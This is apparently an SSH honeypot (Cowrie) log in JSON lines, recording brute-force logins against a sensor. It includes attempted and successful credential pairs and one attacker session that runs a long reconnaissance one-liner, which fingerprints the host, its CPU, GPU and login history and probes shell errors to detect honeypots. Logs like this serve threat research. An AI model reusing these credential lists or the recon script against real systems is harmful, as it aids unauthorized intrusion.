{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:12:55.773562Z","src_ip":"162.241.239.202","session":"85478093de3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"venus","password":"venus2024","message":"login attempt [venus/venus2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:12:55.849101Z","src_ip":"162.241.239.202","session":"85478093de3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:12:56.877079Z","src_ip":"162.241.239.202","session":"85478093de3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":47804,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe3b544491bd","protocol":"ssh","message":"New connection: 87.251.79.125:47804 (159.203.135.109:22) [session: fe3b544491bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:13:13.891245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:13:13.894977Z","src_ip":"87.251.79.125","session":"fe3b544491bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:13:13.965651Z","src_ip":"87.251.79.125","session":"fe3b544491bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ivan1983","message":"login attempt [root/ivan1983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:13:14.178151Z","src_ip":"87.251.79.125","session":"fe3b544491bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:13:15.251336Z","src_ip":"87.251.79.125","session":"fe3b544491bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":29834,"dst_ip":"10.17.0.5","dst_port":22,"session":"e560ad4ccd49","protocol":"ssh","message":"New connection: 194.59.206.2:29834 (10.17.0.5:22) [session: e560ad4ccd49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:13:21.923704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:13:21.927496Z","src_ip":"194.59.206.2","session":"e560ad4ccd49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:13:22.012715Z","src_ip":"194.59.206.2","session":"e560ad4ccd49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:13:22.103899Z","src_ip":"194.59.206.2","session":"e560ad4ccd49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":36344,"dst_ip":"10.17.0.5","dst_port":22,"session":"d987d444f6d5","protocol":"ssh","message":"New connection: 91.92.40.176:36344 (10.17.0.5:22) [session: d987d444f6d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:01.951392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:01.955639Z","src_ip":"91.92.40.176","session":"d987d444f6d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:02.036879Z","src_ip":"91.92.40.176","session":"d987d444f6d5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle@123","message":"login attempt [oracle/oracle@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:02.291048Z","src_ip":"91.92.40.176","session":"d987d444f6d5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:02.496361Z","src_ip":"91.92.40.176","session":"d987d444f6d5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:02.499090Z","src_ip":"91.92.40.176","session":"d987d444f6d5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:02.502051Z","src_ip":"91.92.40.176","session":"d987d444f6d5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:02.504454Z","src_ip":"91.92.40.176","session":"d987d444f6d5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:02.506950Z","src_ip":"91.92.40.176","session":"d987d444f6d5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:02.511556Z","src_ip":"91.92.40.176","session":"d987d444f6d5","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:02.514385Z","src_ip":"91.92.40.176","session":"d987d444f6d5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:02.517061Z","src_ip":"91.92.40.176","session":"d987d444f6d5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:02.520164Z","src_ip":"91.92.40.176","session":"d987d444f6d5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:02.523831Z","src_ip":"91.92.40.176","session":"d987d444f6d5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:02.528102Z","src_ip":"91.92.40.176","session":"d987d444f6d5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:02.619488Z","src_ip":"91.92.40.176","session":"d987d444f6d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:02.712796Z","src_ip":"91.92.40.176","session":"d987d444f6d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.6.204","src_port":55278,"dst_ip":"10.17.0.5","dst_port":22,"session":"d37416ac6396","protocol":"ssh","message":"New connection: 97.74.6.204:55278 (10.17.0.5:22) [session: d37416ac6396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:18.442766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:18.446455Z","src_ip":"97.74.6.204","session":"d37416ac6396","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:18.510972Z","src_ip":"97.74.6.204","session":"d37416ac6396","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sw1p3!S3cur3#W0rd","message":"login attempt [root/Sw1p3!S3cur3#W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:18.707465Z","src_ip":"97.74.6.204","session":"d37416ac6396","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:19.775090Z","src_ip":"97.74.6.204","session":"d37416ac6396","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":41392,"dst_ip":"159.203.135.109","dst_port":22,"session":"221dcf87bb03","protocol":"ssh","message":"New connection: 176.53.159.196:41392 (159.203.135.109:22) [session: 221dcf87bb03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:19.936694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:19.939466Z","src_ip":"176.53.159.196","session":"221dcf87bb03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:20.035275Z","src_ip":"176.53.159.196","session":"221dcf87bb03","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:20.329499Z","src_ip":"176.53.159.196","session":"221dcf87bb03","protocol":"ssh"}
